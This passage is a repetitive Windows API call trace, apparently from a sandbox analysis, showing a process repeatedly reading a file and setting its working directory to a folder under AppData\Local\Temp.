lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.964] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.965] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.965] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.965] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.965] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.965] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.965] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.965] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.966] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.966] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.966] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.966] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.966] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.966] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.966] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.966] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.966] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.967] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.967] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.967] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.967] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.967] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.967] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.967] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.967] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.967] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.967] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.967] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.967] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.968] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.968] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.968] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.968] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.968] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.968] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.969] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.969] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.969] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.969] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.969] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.969] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.969] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.970] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.970] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.970] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.970] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.970] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.970] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.970] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.970] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.970] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.970] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.971] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.971] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.971] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.971] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.971] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.971] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.971] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.972] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.972] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.972] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.972] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.972] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.972] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.972] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.972] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.972] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.972] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.973] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.973] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.973] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.973] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.973] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.973] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.973] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.973] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.973] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.973] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.973] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.974] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.974] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.974] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.975] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.975] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.975] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.975] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.975] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.975] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.976] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.976] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.976] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.976] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.976] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.976] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.976] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.977] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.978] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.978] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.978] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.978] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.978] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.978] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.979] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.979] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.979] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.979] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.979] 